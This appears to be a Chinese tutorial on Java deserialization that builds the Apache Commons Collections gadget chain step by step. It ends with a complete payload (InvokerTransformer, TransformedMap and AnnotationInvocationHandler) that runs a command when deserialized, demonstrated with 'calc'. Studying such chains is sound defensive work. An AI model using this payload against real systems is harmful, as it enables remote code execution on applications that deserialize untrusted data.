payload
什么是序列化和反序列化
序列化:是将对象的状态信息转换为可以存储或传输形式的过程。
反序列化:将对象数据从按照某一种标准,解析成对象,读取到内存。
那为什么要将对象序列化,或者说他的应用场景有哪些?
- 我们都知道,程序运行,对象数据是保存到内存中的,那如果对象很多,会占据很多内存空间,但我们的内存是有限的,而且很贵,所以,需要长时间保存的对象,我们可以将这些对象保存到硬盘中,一方面,硬盘比内存便宜另一方面为了数据安全,内存断电数据就丢失了,但对象是一个抽象的数据结构,怎么保存到硬盘中,我们可以将对象,按照Io格式转换成一个字符串或者某个二进制的文件,这个就叫做序列化。
- 还有一种情况,我们都知道服务器和服务器之间通讯,肯定要传输数据,数据传输肯定要约定某一个格式,所以说如果要传输对象,我们也需要将对象转换成每一种特定的格式,这也是序列化的一种应用场景。
一个类的对象要想序列化成功,必须满足两个条件
- 该类必须实现
java.io.Serializable
接口。
- 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
该类有实现java.io.Serializable接口,在反序列化的时候会执行readObject()
方法,举例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @Data @AllArgsConstructor @NoArgsConstructor public class SerialTest implements Serializable { private String name; private Integer age;
private void readObject(java.io.ObjectInputStream in) throws Exception { in.defaultReadObject(); Runtime.getRuntime().exec("calc.exe"); Process process = Runtime.getRuntime().exec("ipconfig");
InputStream fis = process.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = ""; while ((line = br.readLine()) != null){ System.out.println(line); } } }
|
序列化与反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public class test01 { public static void main(String[] args) { SerialTest winky = new SerialTest("Winky", 24); try { serializable(winky); unSerializable(); } catch (Exception e) { e.printStackTrace(); } }
public static void serializable(SerialTest s) throws IOException { FileOutputStream file = new FileOutputStream("D:\\a.txt"); ObjectOutputStream objOut = new ObjectOutputStream(file); objOut.writeObject(s); System.out.println("序列化成功"); file.close(); objOut.close(); }
public static void unSerializable() throws Exception { FileInputStream inFile = new FileInputStream("D:\\a.txt"); ObjectInputStream objIn = new ObjectInputStream(inFile); SerialTest serialTest = (SerialTest) objIn.readObject(); String name = serialTest.getName(); System.out.println(name); System.out.println("反序列化成功"); inFile.close(); objIn.close(); } }
|
构建类的要求:
- 实现
Serializable
接口
- 重写
readObject()
方法
- 恶意命令可控(比如可以执行任意类的任意方法:反射实现)
- 类必须存在与应用程序(比如自带类库、第三方
jar
包)
1
| **Apache Commons Collections**
|
Apache Commons Collections
是一个扩展了Java标准库里的Collection结构的第三方基础库。
org.apache.commons.collections
提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection
的基本概念,只是功能不同罢了。Java中的collection
可以理解为一组对象,collection
里面的对象称为collection的对象。具象的collection
为set,list,queue等等,它们是集合类型。换一种理解方式,collection
是set,list,queue的抽象。
但是,如果readObject这个方法里面或者调用的方法里面,存在能够执行任意类的任意方法的逻辑,我们是不是就闭环了。
在java里面什么东西可以执行执行任意类的任意方法?
在InvokerTransformer
实现类中重写了transform
方法,传入的参数类型为Object
,且通过反射可以执行里面的任意的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } }
|
1 2 3 4 5 6 7 8
| public class test2 { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); exec.transform(runtime); }
}
|
但是上述代码并没有满足重写readObject()
方法
TransformedMap
类实现了Serializable
方法,并且重写了readObject()
方法。
由于TransformedMap
构造器是protected
修饰的
1 2 3 4 5 6 7 8 9 10
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public static void main(String[] args){ try { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), };
Transformer invokerTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> m1 = new HashMap<>(); m1.put("value","a"); Map<Object,Object> m2 = TransformedMap.decorate(m1, null, invokerTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cto = aClass.getDeclaredConstructor(Class.class, Map.class); cto.setAccessible(true); Object o = cto.newInstance(Retention.class, m2);
serializable(o); unSerializable(); } catch (Exception e) { e.printStackTrace(); } } public static void serializable(Object o) throws Exception { FileOutputStream file = new FileOutputStream("D:\\a.txt"); ObjectOutputStream objOut = new ObjectOutputStream(file); objOut.writeObject(o); System.out.println("序列化成功"); file.close(); objOut.close(); }
public static void unSerializable() throws Exception { FileInputStream inFile = new FileInputStream("D:\\a.txt"); ObjectInputStream objIn = new ObjectInputStream(inFile); objIn.readObject(); System.out.println("反序列化成功"); inFile.close(); objIn.close(); }
|